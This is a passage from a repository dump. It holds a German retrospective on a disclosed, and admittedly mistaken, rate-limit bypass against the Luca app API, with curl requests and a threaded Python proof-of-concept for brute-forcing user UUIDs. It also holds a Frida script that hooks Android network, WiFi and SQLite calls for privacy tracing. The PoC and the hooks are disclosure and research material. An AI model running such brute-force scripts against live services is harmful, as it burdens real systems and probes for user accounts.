 84 | 4. Keying ist nicht case-sensitive (das es hier ein Problem gab, war ausreichend lange bekannt, um es zu fixen)
 85 | 5. Requests mit gültiger Response rechenen nicht auf rate limit an (habe an andere Stelle bereits festgestellt, dass Design-bedingt sehr viele Requests vom gleichen Client in kurzen Intervallen gestellt werden können)
 86 | 
 87 | Idee:
 88 | 
 89 | Sobald ein request das rate limit triggert (Response mit Status Code 429), den Query-Pfad so anpassen, dass ein anderer key erzeugt wird (Annahme Nr 2), aber der Request immer noch am vorgesehenen Endpunkt aufläuft. Konkret: Einfügen relativer Pfade.
 90 | 
 91 | Als Endpunkt für einen test soll `api/v3/users/{uuid}` dienen (der uuid ist dynamisch und nach meinen Annahmen nicht "gekeyed" angepasst werden kann also `/api/v3/users/` )
 92 | 
 93 | Kurzer Test mit Curl:
 94 | 
 95 | ```
 96 | curl "https://app.luca-app.de/api/v3/users/./././20eb1d96-377f-4a86-be50-e687cc6dfc05"
 97 | {"userId":"20eb1d96-377f-4a86-be50-...snip...2zykU="}
 98 | ```
 99 | 
100 | Der erste Test mit Curl war erfolgreich, denn es gibt eine valide Response, trotz der eingefügten `/././.` Sequenz. Damit würde laut meiner Annahmen ein anderer Request Pfad "gekeyed" werden, den man beliebig erweitern kann, um das rate limiting zu umgehen.
101 | 
102 | Hier ist mir auch der erste Fehler passiert. Curl reduziert solche request Pfade, bevor der request gesendet wird (wurde von mir nicht bemerkt). Mit Curl mit verbose output hätte das bereits gezeigt:
103 | 
104 | ```
105 | # curl -v "https://app.luca-app.de/api/v3/users/./././20eb1d96-377f-4a86-be50-e687cc6dfc05"
106 | ..snip..
107 | > GET /api/v3/users/20eb1d96-377f-4a86-be50-e687cc6dfc05 HTTP/1.1
108 | > Host: app.luca-app.de
109 | > User-Agent: curl/7.72.0
110 | > Accept: */*
111 | >
112 | * Mark bundle as not supporting multiuse
113 | < HTTP/1.1 200 OK
114 | ..snip..
115 | ```
116 | 
117 | Okay, davon ausgehend, dass man so einen anderen Request-Pfad keyen kann (Annahme 2), geht es weiter mit Annahme Nr. 5. Ein ungültiger request muss her, um den counter für das rate limiting hochzuzählen, bis das Limit erreicht ist (response mit status code 429).
118 | 
119 | Für diesen Endpunkt ist das einfach, ein Request mit ungültiger user UUID sollte den counter hochzählen, z.B.
120 | 
121 | ```
122 | # curl "https://app.luca-app.de/api/v3/users/11111111-1111-1111-1111-111111111111"
123 | Not Found
124 | ```
125 | 
126 | Natürlich macht hier Curl keinen großen Sinn mehr, denn es braucht viele Requests für, um das Limit zu triggern (möglichst parralel) und die response muss ausgewertet werden, um auf ein rate limit zu reagieren. Richtiger Zeitpunkt um in das Scripting einzusteigen. Das hatte ich an der Stelle auch schon gemacht, aber es gibt einen Grund, warum ich den Curl request mit der UUID `11111111-1111-1111-1111-111111111111` it aufliste. Mein zweiter Fehler: **"ungültige UUID" != "ungültige UUID"**
127 | 
128 | An dieser Stelle gehe ich von drei möglichen HTTP responses status codes für requests mit ungültiger UUID aus:
129 | 
130 | - 200: gültige UUID, triggert kein rate limiting
131 | - 404: ungültige UUID, zählt rate limit counter hoch, **aber rate limit ist noch nicht erreicht**
132 | - 429: rate limit erreicht
133 | 
134 | Entgangen ist mir folgender Fall mit response status code 400, der vieles leichter gemacht hätte:
135 | 
136 | ```
137 | # curl "https://app.luca-app.de/api/v3/users/11111111"
138 | {"errors":[{"validation":"uuid","code":"invalid_string","path":["userId"],"message":"Invalid uuid"}]}
139 | 
140 | ```
141 | 
142 | Welches Problem habe ich mir hier geschaffen? Ganz einfach, die Logik für mein PoC-Skript sollt folgende sein:
143 | 
144 | 1. Stelle requests mit ungültiger UUID, bis Response Status 429 ist (rate limit, erwarteter Status Code ohne rate limit wäre 404)
145 | 2. Füge eine Sequenz `/.` in den request pfad ein und mache bei 1. weiter
146 | 
147 | Erwartetes Verhalten:
148 | 
149 | 1. Viele requests mit 404 response (1000 für diesen Endpunkt)
150 | 2. Mindestens eine Response mit 429
151 | 3. Nach anpassung des Request Pfades wieder 404 responses
152 | 
153 | usw.
154 | 
155 | Genau das gewünschte Ergebnis habe ich auch erhalten, ABER die 404 status codes für Nr. 3 im erwarteten Verhalten resultierten nicht aus ungültigen UUIDs, **sondern aus ungültigen request Pfaden**.
156 | 
157 | Warum habe ich das nicht bemerkt? Weil ich es vermeintlich durch Tests mit Curl ausgeschlossen hatte (Remember: erster Fehler).
158 | 
159 | Was hätte man hier besser machen können? Vieles, und genau da liegt der Lerneffekt (passiert also kein zweites mal):
160 | 
161 | - man muss nicht das gesamte interne Verhalten von Curl kennen, aber wenn man Curl für so etwas benutzt: `-v` is your friend
162 | - man sollte möglichst viele Inputs für jeden Endpunkt Testen, um alle unterscheidbaren Responses zu kennen. Hätte ich hier mit dem 400 für falsch formatierte UUIDs gearbeitet, wäre der Fehler schnell aufgefallen
163 | - man sollte seine eigenen Ergebnisse umfassend validieren und die Ursachen genau analysieren. Zum Einen gehört diese Analyse zu einen guten Report, zum Anderen hilft sie Fehler zu vermeiden. Ich hätte hier z.B. den relevanten Source Code nachträglich analysieren müssen, um die Fehlerursache zu finden (wer sich die Rate Limiting Middleware mal anschaut, sieht schnell dass diese Idee nie funktionieren konnte. **Hinweis: X-FORWARDED-FOR wird auch nicht funtionieren, wäre aber aufgrund des Codes ein realistischere Ansatz ;-)**). Weiter hätte ich meinen PoC für mehr als 2000 Requests testen müssen, um das Rate Limit mehr als einmal zu triggern. Auch dabei wäre ein Fehler aufgefallen, denn der später ungültige Request-Path triggert gar kein rate limit mehr.
164 | 
165 | Nice. Dann hätten wird das, ich habe bei weitem mehr gesagt, als das Thema technisch hergibt.
166 | 
167 | Zu guter letzt noch das PoC-Script, welches eingereicht wurde. Die Mail-Inhalte share ich nicht, aber ich hoffe ihr vertraut mir wenn ich sage: Die Kommunikation is so gut verlaufen, wie oben beschrieben.
168 | 
169 | # PoC-Script (nicht funtional, einschl. unmodifizierter Kommentare)
170 | 
171 | ```
172 | import requests
173 | from uuid import UUID
174 | import random
175 | import threading
176 | 
177 | # Author: Marcus Mengs (MaMe82)
178 | #
179 | # Luca-backend rateLimit bypass, by introducing path traversal to intended endpoint
180 | #
181 | # The poc runs against the EP '/users/{userID}' to mimic bruteforce of legit user IDs,
182 | # but would work on other EPs like the ones which trigger SMS verifications (which of
183 | # course has not been used to keep the testing impact as low as possible ... the
184 | # staging environment seems to be unavailable for tests, unfortunately)
185 | #
186 | # The rate limit bypass in this PoC is disabled by default, thus the limit should be
187 | # hit after 1000 requests (1000 requests/hour apply to this EP, as defined here
188 | # https://gitlab.com/lucaapp/web/-/blob/e3bc127067ac3bd221d61809e404ec8f7b18af1e/services/backend/src/routes/v3/users.js#L123).
189 | # Once the Limit is hit, the PoC should receive and print 429 status codes for
190 | # successive requests.
191 | #
192 | # To enable the bypass, set the global 'BYPASS_RATE_LIMIT' variable to 'True'.
193 | # In result, the script extends the request path by a small path traversal (which still
194 | # leads to the target route), whenever a 429 response appears. Ultimately, the rate limit
195 | # is bypassed as the logic evaluates the full request path.
196 | #
197 | # For mitigation, the request path shall be resolved to the final target, before it gets
198 | # evaluated for rate limiting (removal of relative URI path components, to get an absolute
199 | # path)
200 | #
201 | # Additional notes:
202 | # The script prints a message "!!! Hit rate limit, adjusted URI path by ...", whenever
203 | # a 429 status was received and the path was adjusted (only if 'BYPASS_RATE_LIMIT=True').
204 | #
205 | # The status codes 200 (user with given uuid exists) and 404 (user does not exists) are
206 | # specific to this endpoint (at least the 404), but are both legit responses (successful
207 | # bypass of rate limit, even for 404).
208 | #
209 | # Last but not least: No real user UUID  was brute-forced, I kept the test-runs as short
210 | # as possible.
211 | 
212 | 
213 | 
214 | API="https://app.luca-app.de/api/v3"
215 | BYPASS_RATE_LIMIT=False
216 | 
217 | req_count=0
218 | rate_limit_hit=False
219 | path_mod=""
220 | 
221 | def gen_rand_uuid_str():
222 |     u = UUID(bytes=random.randbytes(16))
223 |     return str(u)
224 | 
225 | def req_uuid(uuid_str, is_retry=False):
226 |     global req_count, path_mod, rate_limit_hit
227 |     url=f"{API}/users/{path_mod}{uuid_str}"
228 |     r = requests.get(url=url)
229 |     req_count += 1
230 |     if r.status_code == 200:
231 |         print(f"User with id {uuid_str} exists")
232 |         return (r.status_code, uuid_str)
233 |     elif r.status_code == 429 and BYPASS_RATE_LIMIT:
234 |         rate_limit_hit=True
235 |         return (r.status_code, "")
236 |     else:
237 |         print(f"{uuid_str} ({req_count}): {r.status_code} {r.content}")
238 |         return (r.status_code, "")
239 | 
240 | def req_rand_uuid():
241 |     req_uuid(gen_rand_uuid_str())
242 | 
243 | for i in range(250):
244 |     threads=[]
245 |     for j in range(50):
246 |         t = threading.Thread(target=req_rand_uuid)
247 |         t.start()
248 |         threads.append(t)
249 | 
250 |     rate_limit_hit=False
251 |     for t in threads:
252 |         t.join()
253 | 
254 |     if rate_limit_hit:
255 |         path_mod += "./"
256 |         print(f"!!! Hit rate limit, adjusted URI path by inserting '{path_mod}'")
257 | 
258 | ```
259 | 


--------------------------------------------------------------------------------
/traceAppPrivacy.js:
--------------------------------------------------------------------------------
  1 | /*
  2 | Frida test script for privacy related tracing of Android apps
  3 | */
  4 | 
  5 | // from https://github.com/iddoeldor/frida-snippets
  6 | var Color = {
  7 |   RESET: "\x1b[39;49;00m",
  8 |   Black: "0;01",
  9 |   Blue: "4;01",
 10 |   Cyan: "6;01",
 11 |   Gray: "7;11",
 12 |   Green: "2;01",
 13 |   Purple: "5;01",
 14 |   Red: "1;01",
 15 |   Yellow: "3;01",
 16 |   Light: {
 17 |     Black: "0;11",
 18 |     Blue: "4;11",
 19 |     Cyan: "6;11",
 20 |     Gray: "7;01",
 21 |     Green: "2;11",
 22 |     Purple: "5;11",
 23 |     Red: "1;11",
 24 |     Yellow: "3;11"
 25 |   }
 26 | }
 27 | 
 28 | /**
 29 |  *
 30 |  * @param input.
 31 |  *      If an object is passed it will print as json
 32 |  * @param kwargs  options map {
 33 |  *     -l level: string;   log/warn/error
 34 |  *     -i indent: boolean;     print JSON prettify
 35 |  *     -c color: @see ColorMap
 36 |  * }
 37 |  */
 38 | var LOG = function(input, kwargs) {
 39 |   kwargs = kwargs || {}
 40 |   var logLevel = kwargs["l"] || "log",
 41 |     colorPrefix = "\x1b[3",
 42 |     colorSuffix = "m"
 43 |   if (typeof input === "object")
 44 |     input = JSON.stringify(input, null, kwargs["i"] ? 2 : null)
 45 |   if (kwargs["c"])
 46 |     input = colorPrefix + kwargs["c"] + colorSuffix + input + Color.RESET
 47 |   console[logLevel](input)
 48 | }
 49 | 
 50 | var getStacktrace = function() {
 51 |   //Java.perform(function() {
 52 |   var android_util_Log = Java.use("android.util.Log")
 53 |   var java_lang_Exception = Java.use("java.lang.Exception")
 54 |   var trace = android_util_Log.getStackTraceString(java_lang_Exception.$new())
 55 |   var caller =
 56 |     "Called by: " +
 57 |     Java.use("java.lang.Exception")
 58 |       .$new()
 59 |       .getStackTrace()
 60 |       .toString()
 61 |       .split(",")[1] +
 62 |     "\n"
 63 |   trace = caller + trace
 64 |   return trace
 65 |   //})
 66 | }
 67 | 
 68 | var printBacktrace = function() {
 69 |   Java.perform(function() {
 70 |     console.log(getStacktrace())
 71 |   })
 72 | }
 73 | 
 74 | var printBacktraceIfReflectionUsed = function() {
 75 |   Java.perform(function() {
 76 |     var trace = getStacktrace()
 77 |     if (trace.includes("at java.lang.reflect"))
 78 |       LOG("stacktrace hints REFLECTION usage\n" + trace, { c: Color.Light.Red })
 79 |   })
 80 | }
 81 | 
 82 | var findLoaderForClass = function(className) {
 83 |   console.log("Searching loader for class: " + className)
 84 |   var ldrs = Java.enumerateClassLoadersSync()
 85 |   for (var i = 1; i < ldrs.length; i++) {
 86 |     console.log(ldrs[i])
 87 | 
 88 |     var classLoaderToUse = ldrs[i] //Get another classloader
 89 |     Java.classFactory.loader = classLoaderToUse //Set the classloader to the correct one
 90 |     try {
 91 |       var res = classLoaderToUse.findClass(className) //Just some simple test to make sure that the class can be loaded
 92 |     } catch (e) {
 93 |       if (i == ldrs.length - 1) throw e // pass up ClassNotFoundException if this is the last loader
 94 | 
 95 |       continue
 96 |     }
 97 | 
 98 |     console.log("Class search result...:")
 99 |     console.log(JSON.stringify(res))
100 |     return Java.use(className)
101 |   }
102 | }
103 | 
104 | Java.perform(function() {
105 |   var clazz = Java.use("android.content.ContextWrapper")
106 |   var clazzIntentFilter = Java.use("android.content.IntentFilter")
107 | 
108 |   clazz.registerReceiver.overload(
109 |     "android.content.BroadcastReceiver",
110 |     "android.content.IntentFilter"
111 |   ).implementation = function() {
112 |     console.log("ContextWrapper.registerReciever: " + JSON.stringify(arguments))
113 | 
114 |     var res = clazz.registerReceiver.apply(this, arguments)
115 |     var br = arguments[0] // broadcast receiver
116 |     var filter = arguments[1] // IntentFilter
117 | 
118 |     var ai = filter.actionsIterator()
119 |     while (ai.hasNext()) {
120 |       console.log("\tAction: " + ai.next())
121 |     }
122 | 
123 |     if (br != null) {
124 |       var brClass = br.$className
125 |       console.log("\tReceiverClass: " + brClass)
126 |     } else {
127 |       // sticky intent: https://developer.android.com/reference/android/content/ContextWrapper#registerReceiver(android.content.BroadcastReceiver,%20android.content.IntentFilter)
128 |       console.log("\tSticky Intent: " + res.toString())
129 |     }
130 | 
131 |     //	printBacktrace();
132 | 
133 |     return res
134 |   }
135 | 
136 |   clazz.registerReceiver.overload(
137 |     "android.content.BroadcastReceiver",
138 |     "android.content.IntentFilter",
139 |     "java.lang.String",
140 |     "android.os.Handler"
141 |   ).implementation = function() {
142 |     var res = clazz.registerReceiver.apply(this, arguments)
143 |     console.log("ContextWrapper.registerReciever: " + res)
144 | 
145 |     var br = arguments[0] // broadcast receiver
146 |     var filter = arguments[1] // IntentFilter
147 |     var ai = filter.actionsIterator()
148 |     while (ai.hasNext()) {
149 |       console.log("\tAction: " + ai.next())
150 |     }
151 |     if (br != null) {
152 |       var brClass = br.$className
153 |       console.log("\tReceiverClass: " + brClass)
154 |     } else {
155 |       // sticky intent: https://developer.android.com/reference/android/content/ContextWrapper#registerReceiver(android.content.BroadcastReceiver,%20android.content.IntentFilter)
156 |       console.log("\tSticky Intent: " + JSON.stringify(res))
157 |     }
158 | 
159 |     //	printBacktrace();
160 | 
161 |     return res
162 |   }
163 | })
164 | 
165 | // HTTP
166 | Java.perform(function() {
167 |   var logSettings = { c: Color.Light.Green }
168 |   var clazz = Java.use("java.net.HttpURLConnection")
169 | 
170 |   clazz.$init.implementation = function(url) {
171 |     LOG("HttpUrlConnection()\n-- URL: " + url, logSettings)
172 | 
173 |     //	printBacktrace();
174 |     return clazz.$init.apply(this, arguments)
175 |   }
176 | 
177 |   // TikTok only
178 |   /*
179 |   var clazzTTNetCronetEngineBase = Java.use(
180 |     "com.ttnet.org.chromium.net.impl.CronetEngineBase"
181 |   )
182 | 
183 |   clazzTTNetCronetEngineBase.newUrlRequestBuilder.overloads[0].implementation = function() {
184 |     var res = clazzTTNetCronetEngineBase.newUrlRequestBuilder.apply(
185 |       this,
186 |       arguments
187 |     )
188 |     var out =
189 |       "(TikTok) CronetEngineBase.newUrlRequestBuilder()\n-- URL: " +
190 |       arguments[0]
191 |     LOG(out, logSettings)
192 |     return res
193 |   }
194 |   */
195 | })
196 | 
197 | // android.telephony.TelephonyManager.getTelephonyProperty(int, java.lang.String, java.lang.String)
198 | Java.perform(function() {
199 |   var logSettings = { c: Color.Light.Yellow }
200 |   var clazz = Java.use("android.telephony.TelephonyManager")
201 | 
202 |   clazz.getTelephonyProperty.overload(
203 |     "int",
204 |     "java.lang.String",
205 |     "java.lang.String"
206 |   ).implementation = function(phoneId, property, defaultVal) {
207 |     var res = clazz.getTelephonyProperty.apply(this, arguments)
208 |     var out =
209 |       "GetTelephonyProperty(phoneID=" +
210 |       phoneId +
211 |       " property='" +
212 |       property +
213 |       "' defaultVal='" +
214 |       defaultVal +
215 |       "')\n"
216 | 
217 |     out += "\t=> '" + res + "' [" + typeof res + "]\n"
218 |     LOG(out, logSettings)
219 | 
220 |     //printBacktrace()
221 |     return res
222 |   }
223 | 
224 |   /*
225 |   clazz.getTelephonyProperty.implementation = function() {
226 |     var res = clazz.getTelephonyProperty.apply(this, arguments)
227 |     var phoneId = arguments[0]
228 |     var property = arguments[1]
229 |     var defaultVal = arguments[2]
230 |     var out =
231 |       "GetTelephonyProperty(phoneID=" +
232 |       phoneId +
233 |       " property='" +
234 |       property +
235 |       "' defaultVal='" +
236 |       defaultVal +
237 |       "')\n"
238 | 
239 |     out += "\t=> '" + res + "' [" + typeof res + "]\n"
240 |     LOG(out, logSettings)
241 | 
242 |     //printBacktrace()
243 |     return res
244 |   }
245 |   */
246 | })
247 | 
248 | // NetworkInfo
249 | Java.perform(function() {
250 |   var logSettings = { c: Color.Light.Purple }
251 |   var clazzNetworkInfo = Java.use("android.net.NetworkInfo")
252 | 
253 |   // Note: used by com.bytedance.common.utility.l.d()
254 |   // Used by TikTok to determine connection type (send in HTTP requests as param 'ac' and 'ac2')
255 |   clazzNetworkInfo.getType.implementation = function() {
256 |     var out = "NetworkInfo."
257 |     var res = clazzNetworkInfo.getType.apply(this, arguments)
258 |     out += "getType => " + res + " (" + this.getTypeName() + ")"
259 | 
260 |     LOG(out, logSettings)
261 |     return res
262 |   }
263 | 
264 |   clazzNetworkInfo.getState.implementation = function() {
265 |     var out = "NetworkInfo."
266 |     var res = clazzNetworkInfo.getState.apply(this, arguments)
267 |     out += "getState => " + res
268 |     LOG(out, logSettings)
269 |     return res
270 |   }
271 | })
272 | 
273 | // WifiInfo
274 | Java.perform(function() {
275 |   var logSettings = { c: Color.Light.Purple }
276 |   var clazzWifiInfo = Java.use("android.net.wifi.WifiInfo")
277 | 
278 |   clazzWifiInfo.getMeteredHint.implementation = function() {
279 |     var out = "WifiInfo."
280 |     var res = clazzWifiInfo.getMeteredHint.apply(this, arguments)
281 |     out += "getMeteredHint => " + res
282 |     LOG(out, logSettings)
283 |     return res
284 |   }
285 | 
286 |   clazzWifiInfo.getWifiSsid.implementation = function() {
287 |     var out = "WifiInfo."
288 |     var res = clazzWifiInfo.getWifiSsid.apply(this, arguments)
289 |     out += "getWifiSsid => " + res
290 |     LOG(out, logSettings)
291 |     return res
292 |   }
293 | 
294 |   clazzWifiInfo.getMacAddress.implementation = function() {
295 |     var out = "WifiInfo."
296 |     var res = clazzWifiInfo.getMacAddress.apply(this, arguments)
297 |     out += "getMacAddress => " + res
298 |     LOG(out, logSettings)
299 |     return res
300 |   }
301 | 
302 |   clazzWifiInfo.getIpAddress.implementation = function() {
303 |     var out = "WifiInfo."
304 |     var res = clazzWifiInfo.getIpAddress.apply(this, arguments)
305 |     out += "getIpAddress => " + res
306 |     LOG(out, logSettings)
307 |     return res
308 |   }
309 | 
310 |   // Note: used by com.bytedance.common.utility.l.d() to determine of WiFi is 'wifi5g'
311 |   // Used by TikTok to distinguish 2.4G and 5G WiFi (send in HTTP requests as param 'ac2')
312 |   clazzWifiInfo.getFrequency.implementation = function() {
313 |     var out = "WifiInfo."
314 |     var res = clazzWifiInfo.getFrequency.apply(this, arguments)
315 |     out += "getFrequency => " + res
316 |     LOG(out, logSettings)
317 |     //return res
318 |     return 5200
319 |   }
320 | 
321 |   clazzWifiInfo.getSupplicantState.implementation = function() {
322 |     var out = "WifiInfo."
323 |     var res = clazzWifiInfo.getSupplicantState.apply(this, arguments)
324 |     out += "getSupplicantState => " + res
325 |     LOG(out, logSettings)
326 |     return res
327 |   }
328 | 
329 |   clazzWifiInfo.getLinkSpeed.implementation = function() {
330 |     var out = "WifiInfo."
331 |     var res = clazzWifiInfo.getLinkSpeed.apply(this, arguments)
332 |     out += "getLinkSpeed => " + res
333 |     LOG(out, logSettings)
334 |     return res
335 |   }
336 | 
337 |   clazzWifiInfo.getRssi.implementation = function() {
338 |     var out = "WifiInfo."
339 |     var res = clazzWifiInfo.getRssi.apply(this, arguments)
340 |     out += "getRssi => " + res
341 |     LOG(out, logSettings)
342 |     return res
343 |   }
344 | 
345 |   clazzWifiInfo.getDetailedStateOf.implementation = function() {
346 |     var out = "WifiInfo."
347 |     var res = clazzWifiInfo.getDetailedStateOf.apply(this, arguments)
348 |     out += "getDetailedStateOf => " + res
349 |     LOG(out, logSettings)
350 |     return res
351 |   }
352 | 
353 |   clazzWifiInfo.getNetworkId.implementation = function() {
354 |     var out = "WifiInfo."
355 |     var res = clazzWifiInfo.getNetworkId.apply(this, arguments)
356 |     out += "getNetworkId => " + res
357 |     LOG(out, logSettings)
358 |     return res
359 |   }
360 | 
361 |   clazzWifiInfo.getBSSID.implementation = function() {
362 |     var out = "WifiInfo."
363 |     var res = clazzWifiInfo.getBSSID.apply(this, arguments)
364 |     out += "getBSSID => " + res
365 |     LOG(out, logSettings)
366 |     return res
367 |   }
368 | 
369 |   clazzWifiInfo.getSSID.implementation = function() {
370 |     var out = "WifiInfo."
371 |     var res = clazzWifiInfo.getSSID.apply(this, arguments)
372 |     out += "getSSID => " + res
373 |     LOG(out, logSettings)
374 |     return res
375 |   }
376 | 
377 |   clazzWifiInfo.getHiddenSSID.implementation = function() {
378 |     var out = "WifiInfo."
379 |     var res = clazzWifiInfo.getHiddenSSID.apply(this, arguments)
380 |     out += "getHiddenSSID => " + res
381 |     LOG(out, logSettings)
382 |     return res
383 |   }
384 | })
385 | 
386 | // SQLite
387 | Java.perform(function() {
388 |   var clazzSQLiteDatabase = Java.use("android.database.sqlite.SQLiteDatabase")
389 |   var clazzEntry = Java.use("java.util.HashMap$HashMapEntry")
390 |   var logSettings = { c: Color.Light.Cyan }
391 | 
392 |   clazzSQLiteDatabase.$init.implementation = function() {
393 |     var res = clazzSQLiteDatabase.$init.apply(this, arguments)
394 |     var dbpath = arguments[0]
395 |     console.log("SQLiteDatabase.$init (" + dbpath + ")")
396 |     return res
397 |   }
398 | 
399 |   clazzSQLiteDatabase.insert.implementation = function() {
400 |     var res = clazzSQLiteDatabase.insert.apply(this, arguments)
401 |     var db = Java.cast(this, clazzSQLiteDatabase)
402 |     var table = arguments[0]
403 |     //var out = "SQLiteDatabase.insert(" + JSON.stringify(arguments) + ")\n"
404 |     var out = "SQLiteDatabase.insert\n"
405 |     out += "-- DBPath : " + db.getPath() + "\n"
406 |     out += "-- Table  : " + table + "\n"
407 |     out += "-- Entries:\n"
408 | 
409 |     var clazzCV = Java.use("android.content.ContentValues")
410 |     var cvs = Java.cast(arguments[2], clazzCV)
411 |     var it = cvs.valueSet().iterator()
412 |     while (it.hasNext()) {
413 |       var entry = Java.cast(it.next(), clazzEntry)
414 |       var key = entry.getKey()
415 |       var val = entry.getValue()
416 |       if (val != null)
417 |         out += "     " + key + "=" + val + " [" + val.getClass() + "]\n"
418 |       else out += "     " + key + "=" + val + "\n"
419 |     }
420 | 
421 |     LOG(out, logSettings)
422 |     return res
423 |   }
424 | 
425 |   clazzSQLiteDatabase.delete.implementation = function() {
426 |     var res = clazzSQLiteDatabase.delete.apply(this, arguments)
427 |     var db = Java.cast(this, clazzSQLiteDatabase)
428 |     var table = arguments[0]
429 |     var whereClause = arguments[1]
430 |     var whereArgs = arguments[2]
431 |     //var out = "SQLiteDatabase.delete(" + JSON.stringify(arguments) + ")\n"
432 |     var out = "SQLiteDatabase.delete\n"
433 |     out += "-- DBPath      : " + db.getPath() + "\n"
434 |     out += "-- Table       : " + table + "\n"
435 |     out += "-- whereClause : " + whereClause + "\n"
436 |     out += "-- whereArgs   : " + whereArgs + "\n"
437 |     out += "-- deleted     : " + res + "\n"
438 | 
439 |     LOG(out, logSettings)
440 |     return res
441 |   }
442 | 
443 |   clazzSQLiteDatabase.execSQL.overload(
444 |     "java.lang.String",
445 |     "[Ljava.lang.Object;"
446 |   ).implementation = function() {
447 |     var res = clazzSQLiteDatabase.execSQL.apply(this, arguments)
448 |     var db = Java.cast(this, clazzSQLiteDatabase)
449 |     var query = arguments[0]
450 |     //    var out = "SQLiteDatabase.execSQL(" + JSON.stringify(arguments) + ")\n"
451 |     var out = "SQLiteDatabase.execSQL\n"
452 |     out += "-- DBPath   : " + db.getPath() + "\n"
453 |     out += "-- query    : " + query + "\n"
454 |     LOG(out, logSettings)
455 |     return res
456 |   }
457 | 
458 |   clazzSQLiteDatabase.execSQL.overload(
459 |     "java.lang.String"
460 |   ).implementation = function() {
461 |     var res = clazzSQLiteDatabase.execSQL.apply(this, arguments)
462 |     var db = Java.cast(this, clazzSQLiteDatabase)
463 |     var query = arguments[0]
464 |     //var out = "SQLiteDatabase.execSQL(" + JSON.stringify(arguments) + ")\n"
465 |     var out = "SQLiteDatabase.execSQL\n"
466 |     out += "-- DBPath   : " + db.getPath() + "\n"
467 |     out += "-- query    : " + query + "\n"
468 |     LOG(out, logSettings)
469 |     return res
470 |   }
471 | 
472 |   clazzSQLiteDatabase.rawQueryWithFactory.overload(
473 |     "android.database.sqlite.SQLiteDatabase$CursorFactory", // cursorFactory
474 |     "java.lang.String", //sql (query string)
475 |     "[Ljava.lang.String;", // selectionArgs
476 |     "java.lang.String" // editTable
477 |   ).implementation = function() {
478 |     var res = clazzSQLiteDatabase.rawQueryWithFactory.apply(this, arguments)
479 |     var db = Java.cast(this, clazzSQLiteDatabase)
480 |     var table = arguments[3]
481 |     var query = arguments[1]
482 |     var selection = arguments[2]
483 |     //var out = "SQLiteDatabase.rawQueryWithFactory(" + JSON.stringify(arguments) + ")\n"
484 |     var out = "SQLiteDatabase.rawQueryWithFactory\n"
485 |     out += "-- DBPath   : " + db.getPath() + "\n"
486 |     out += "-- Table    : " + table + "\n"
487 |     out += "-- query    : " + query + "\n"
488 |     out += "-- selection: " + selection + "\n"
489 | 
490 |     LOG(out, logSettings)
491 |     return res
492 |   }
493 | 
494 |   clazzSQLiteDatabase.rawQueryWithFactory.overload(
495 |     "android.database.sqlite.SQLiteDatabase$CursorFactory", // cursorFactory
496 |     "java.lang.String", //sql (query string)
497 |     "[Ljava.lang.String;", // selectionArgs
498 |     "java.lang.String", // editTable
499 |     "android.os.CancellationSignal" // cancellationSignal
500 |   ).implementation = function() {
501 |     var res = clazzSQLiteDatabase.rawQueryWithFactory.apply(this, arguments)
502 |     var db = Java.cast(this, clazzSQLiteDatabase)
503 |     var table = arguments[3]
504 |     var query = arguments[1]
505 |     var selection = arguments[2]
506 |     //var out = "SQLiteDatabase.rawQueryWithFactory(" + JSON.stringify(arguments) + ")\n"
507 |     var out = "SQLiteDatabase.rawQueryWithFactory\n"
508 |     out += "-- DBPath   : " + db.getPath() + "\n"
509 |     out += "-- Table    : " + table + "\n"
510 |     out += "-- query    : " + query + "\n"
511 |     out += "-- selection: " + selection + "\n"
512 | 
513 |     LOG(out, logSettings)
514 |     return res
515 |   }
516 | })
517 | 
518 | // SystemProperties
519 | Java.perform(function() {
520 |   var clazzSystemProperties = Java.use("android.os.SystemProperties")
521 |   var logSettings = { c: Color.Light.Blue }
522 | 
523 |   clazzSystemProperties.get.overload(
524 |     "java.lang.String"
525 |   ).implementation = function(key) {
526 |     var res = this.get(key)
527 |     var out = "SystemProperties.get(" + key + ")\n"
528 |     out += "\t=> '" + res + "'\n"
529 | 
530 |     /*
531 |     if (key === "persist.sys.timezone") out += getStacktrace()
532 |     if (key === "ro.build.display.id") out += getStacktrace() // print stack trace if android build ID is requested
533 |     if (key === "ro.product.cpu.abi") out += getStacktrace() // print stack trace if CPU ABI is requested
534 |     if (key === "ro.product.cpu.abi2") out += getStacktrace() // print stack trace if CPU ABI is requested
535 |     */
536 | 
537 |     LOG(out, logSettings)
538 | 
539 |     printBacktraceIfReflectionUsed()
540 |     return res
541 |   }
542 | })
543 | 
544 | // TimeZone
545 | /*
546 | Java.perform(function() {
547 |   var clazzTimeZone = Java.use("java.util.TimeZone")
548 |   var logSettings = { c: Color.Light.Green }
549 | 
550 |   clazzTimeZone.getDefault.implementation = function() {
551 |     var res = clazzTimeZone.getDefault()
552 |     var out = "TimeZone.getDefault()\n"
553 |     out += "\t=> '" + res + "'\n"
554 | 
555 |     //out += getStacktrace()
556 | 
557 |     LOG(out, logSettings)
558 | 
559 |     return res
560 |   }
561 | 
562 |   clazzTimeZone.getDefaultRef.implementation = function() {
563 |     var res = clazzTimeZone.getDefaultRef()
564 |     var out = "TimeZone.getDefaultRef()\n"
565 |     out += "\t=> '" + res + "'\n"
566 | 
567 |     //out += getStacktrace()
568 | 
569 |     LOG(out, logSettings)
570 | 
571 |     return res
572 |   }
573 | })
574 | */
575 | 
576 | // Reflection
577 | 
578 | // Note: Hooking reflective Java classes crashes (f.e. `Class.forName()`, `Method.invoke()`)
579 | Java.perform(function() {
580 |   //  Java.deoptimizeEverything()
581 | 
582 |   var logSettings = { c: Color.Light.Red }
583 |   var clazzMethod = Java.use("java.lang.reflect.Method")
584 |   var clazzClass = Java.use("java.lang.Class")
585 | 
586 |   /*
587 | 
588 |   // This interception leads to crashes (for TikTok)
589 |   // Also, with this hook enabled, TikTok crashes if Frida spawns the App itself (early hooking)
590 |   // ... attaching to the running App leads to a crash at some point, but output works up to this point.
591 |   clazzMethod.invoke.implementation = function() {
592 |     var objInstance = arguments[0]
593 |     var methodArgs = arguments[1]
594 |     var res = clazzMethod.invoke.apply(this, arguments)
595 |     var out = "reflect.Method.invoke(" + JSON.stringify(arguments) + ")\n"
596 |     out += "    Class: '" + this.getDeclaringClass() + "'\n"
597 |     out += "    Method name: '" + this.getName() + "'\n"
598 |     if (objInstance != null) out += "    Instance: '" + objInstance + "'\n"
599 |     if (methodArgs != null) out += "    Arguments: '" + methodArgs + "'\n"
600 |     out += "\t=> '" + res + "'\n"
601 |     LOG(out, logSettings)
602 | 
603 |     return res
604 |   }
605 | 
606 |   // This interception leads to crashes (for TikTok)
